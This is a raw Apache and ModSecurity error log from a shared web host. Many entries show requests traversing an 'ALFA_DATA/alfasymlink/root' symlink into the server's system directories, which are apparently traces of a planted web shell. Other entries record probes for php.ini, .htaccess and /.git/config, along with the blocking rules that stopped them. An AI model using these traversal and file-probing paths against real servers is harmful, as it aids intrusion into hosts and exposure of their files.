[Sat Oct 24 06:40:14.222028 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.229.95.193:15164] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:40:18.236536 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 35.174.141.243:43377] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:40:18.879009 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 71.6.237.110:29822] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:40:22.255085 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 98.82.39.241:39293] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:1f/subsystem/drivers/button/LNXPWRBN:00/driver/uevent
[Sat Oct 24 06:40:34.297098 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.201.155.215:10240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:40:38.175726 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.3.156.186:58487] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:40:46.387897 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.83.240.58:12167] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:40:54.450147 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 3.215.59.93:15039] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/8250_mid/new_id
[Sat Oct 24 06:41:02.176447 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 44.218.6.93:31356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:41:03.163821 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.19:59208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-96/min_partial
[Sat Oct 24 06:41:18.215320 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 100.28.118.16:10136] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:41:22.169617 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.71.216.196:33585] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:41:42.156868 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.194.95.99:39609] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:41:58.187310 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.85.126.86:44886] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:42:02.142359 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.156.248.117:43262] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:42:10.222924 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.2.4.213:19052] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:42:14.191890 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.203.111.15:39277] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:42:30.151164 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.226.89.140:11332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:42:34.155235 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.3.104.214:62081] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:42:42.288899 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.200.54.136:1432] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:42:46.286245 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.5.232.250:1674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:43:02.257769 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.44.174.136:55860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:43:10.150852 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 35.169.119.108:56601] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:43:10.151071 2026] [security2:error] [pid 2603807:tid 2603807] [client 35.169.119.108:56601] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/QEMU0002:00/power/runtime_suspended_time"] [unique_id "atyLvo3tkuH7XT-LVCb8PQAAAAE"]
[Sat Oct 24 06:43:10.151105 2026] [security2:error] [pid 2603807:tid 2603807] [client 35.169.119.108:56601] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/QEMU0002:00/power/runtime_suspended_time"] [unique_id "atyLvo3tkuH7XT-LVCb8PQAAAAE"]
[Sat Oct 24 06:43:20.298633 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 185.191.171.10:64202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/object_size
[Sat Oct 24 06:43:22.321032 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 52.2.83.227:3262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory1/subsystem/uevent
[Sat Oct 24 06:43:42.152485 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.89.176.255:37275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:43:44.890007 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 85.208.96.196:21832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/shrink
[Sat Oct 24 06:43:46.262160 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.94.199.128:49885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:43:50.239946 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 107.23.62.75:24747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:44:02.226053 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.209.89.189:18968] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:44:06.235155 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 18.232.36.1:36533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:44:10.144189 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 34.239.197.197:46305] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:44:10.571252 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 85.208.96.204:33672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-96/align
[Sat Oct 24 06:44:26.138335 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.85.109.140:21847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:44:42.180993 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 23.23.104.107:64462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:01/subsystem/devices/device:0a/subsystem/drivers/hpet/bind
[Sat Oct 24 06:44:46.123675 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.3.156.186:12357] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:44:50.425104 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 23.21.228.180:1039] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:44:50.425313 2026] [security2:error] [pid 2608798:tid 2608798] [client 23.21.228.180:1039] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/subsystem/devices/serio0/driver/serio0/subsystem/drivers/psmouse/serio1/protocol"] [unique_id "atyMIrX1SaR9hxmEXogoCwAAAAo"]
[Sat Oct 24 06:44:50.425345 2026] [security2:error] [pid 2608798:tid 2608798] [client 23.21.228.180:1039] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/subsystem/devices/serio0/driver/serio0/subsystem/drivers/psmouse/serio1/protocol"] [unique_id "atyMIrX1SaR9hxmEXogoCwAAAAo"]
[Sat Oct 24 06:45:02.202894 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.212.205.90:34623] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:45:14.144628 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 100.28.57.133:39424] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:45:18.230697 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.162.69.192:16888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:45:23.846021 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 85.208.96.199:52074] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:45:34.133293 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 34.231.181.240:54195] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/Cavium PTP Driver/remove_id
[Sat Oct 24 06:45:54.142577 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 44.205.120.22:26634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:46:02.146749 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.203.152.231:32906] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:46:14.297236 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.221.105.234:24781] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:46:18.160800 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.197.28.78:42041] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:46:22.139740 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 98.82.66.172:16662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/9/module/uevent
[Sat Oct 24 06:46:28.735657 2026] [authz_core:error] [pid 2608663:tid 2608663] [client 5.102.169.102:39666] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:46:28.809930 2026] [authz_core:error] [pid 2608663:tid 2608663] [client 5.102.169.102:39666] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:46:28.880837 2026] [authz_core:error] [pid 2607243:tid 2607243] [client 5.102.169.102:57498] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:46:28.881446 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 5.102.169.102:55252] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:46:28.882847 2026] [authz_core:error] [pid 2608731:tid 2608731] [client 5.102.169.102:57456] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:46:31.492018 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 216.244.66.250:54382] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/14/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/14/fd/' is executable
[Sat Oct 24 06:46:31.492071 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 216.244.66.250:54382] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/14/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/14/map_files/' is executable
[Sat Oct 24 06:46:31.492087 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 216.244.66.250:54382] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/14/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/14/fdinfo/' is executable
[Sat Oct 24 06:46:36.399435 2026] [core:crit] [pid 2608810:tid 2608810] (13)Permission denied: [client 216.244.66.250:54392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2079205/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2079205/fd/' is executable
[Sat Oct 24 06:46:36.399487 2026] [core:crit] [pid 2608810:tid 2608810] (13)Permission denied: [client 216.244.66.250:54392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2079205/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2079205/map_files/' is executable
[Sat Oct 24 06:46:36.399503 2026] [core:crit] [pid 2608810:tid 2608810] (13)Permission denied: [client 216.244.66.250:54392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2079205/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2079205/fdinfo/' is executable
[Sat Oct 24 06:46:42.176018 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.88.84.219:55403] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:46:50.142304 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.214.186.220:25926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:46:54.194220 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.225.148.123:36507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:47:06.145308 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.233.219.155:1834] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:47:09.406681 2026] [core:crit] [pid 2607243:tid 2607243] (13)Permission denied: [client 45.33.78.176:14998] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:47:10.175292 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 54.225.98.148:37629] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/LNXCPU:00/physical_node/crash_notes_size
[Sat Oct 24 06:47:18.128625 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.0.218.219:31813] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:47:22.288020 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.210.213.220:6867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:47:26.166240 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.235.172.108:58130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:47:46.190346 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.209.187.99:12885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:47:54.282524 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.235.239.240:60937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:48:02.141299 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.219.81.66:43349] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:48:02.931068 2026] [security2:error] [pid 2607243:tid 2607243] [client 216.244.66.250:59946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/fcgistarter"] [unique_id "atyM4lGNStwISql-V9e9GQAAAAs"]
[Sat Oct 24 06:48:02.931133 2026] [security2:error] [pid 2607243:tid 2607243] [client 216.244.66.250:59946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/fcgistarter"] [unique_id "atyM4lGNStwISql-V9e9GQAAAAs"]
[Sat Oct 24 06:48:10.165769 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 98.83.226.125:3721] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:48:22.145972 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 184.73.239.35:31606] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:48:26.158399 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.162.69.192:61526] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:48:34.375979 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.219.80.71:30467] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:48:38.194959 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 52.6.97.88:33742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/cpu_partial
[Sat Oct 24 06:48:47.124248 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 185.191.171.2:52872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:48:54.149559 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.213.46.222:12198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:49:10.408660 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.221.244.28:14048] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:49:18.152765 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 50.19.79.213:2978] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:49:22.128782 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 35.169.119.108:31105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:49:25.423790 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 216.244.66.250:56668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/System.map-4.18.0-240.15.1.el8_3.x86_64
[Sat Oct 24 06:49:30.137129 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 52.204.253.129:64182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/exar_serial/new_id
[Sat Oct 24 06:49:37.518314 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 93.152.209.10:41372] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:49:42.185807 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.163.136.244:65001] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:49:42.185998 2026] [security2:error] [pid 2607243:tid 2607243] [client 54.163.136.244:65001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/memory7/online"] [unique_id "atyNRlGNStwISql-V9e9HgAAAAs"]
[Sat Oct 24 06:49:42.186038 2026] [security2:error] [pid 2607243:tid 2607243] [client 54.163.136.244:65001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/memory7/online"] [unique_id "atyNRlGNStwISql-V9e9HgAAAAs"]
[Sat Oct 24 06:49:50.178284 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 23.21.250.48:27937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:49:54.131011 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.221.222.168:64228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:50:06.140931 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 107.23.62.75:4564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:50:18.122591 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.144.185.255:6747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:50:26.166552 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.162.69.192:23301] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:50:31.638252 2026] [authz_core:error] [pid 2607243:tid 2607243] [client 93.152.209.10:40740] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:50:41.891790 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.139.102.100:47938] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyNgfPD_keneTOG9SbiMwAAAAg"]
[Sat Oct 24 06:50:41.892051 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.139.102.100:47938] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyNgfPD_keneTOG9SbiMwAAAAg"]
[Sat Oct 24 06:50:41.892271 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.139.102.100:47938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyNgfPD_keneTOG9SbiMwAAAAg"]
[Sat Oct 24 06:50:41.892579 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.139.102.100:47938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyNgfPD_keneTOG9SbiMwAAAAg"]
[Sat Oct 24 06:50:42.116262 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.197.178.107:32541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:50:50.135492 2026] [ssl:error] [pid 2608810:tid 2608810] (5)Input/output error: [client 98.82.63.147:40388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:50:54.119839 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.215.235.20:15345] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:50:58.242498 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.86.59.155:27264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:51:10.172644 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.204.62.163:34065] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:51:18.239526 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.0.63.151:6687] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:51:22.245467 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.45.92.83:24743] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:51:38.207525 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.223.115.10:1242] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:51:42.251979 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.236.41.241:61171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:51:46.494946 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.238.45.183:52195] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:51:54.213839 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.206.249.188:7054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:51:58.122213 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.230.69.161:59543] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:52:10.141346 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 18.235.81.246:24294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:52:14.390620 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 23.21.148.226:46191] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:52:15.209500 2026] [core:crit] [pid 2608798:tid 2608798] (13)Permission denied: [client 71.6.242.174:56062] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:52:15.375338 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 71.6.242.174:44156] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:52:15.437111 2026] [authz_core:error] [pid 2607243:tid 2607243] [client 71.6.242.174:56070] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:52:18.272005 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.213.85.234:20214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:52:34.172554 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.221.50.71:6515] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:52:46.126515 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.145.82.217:49230] AH02013: coalesce failed to read from data bucket
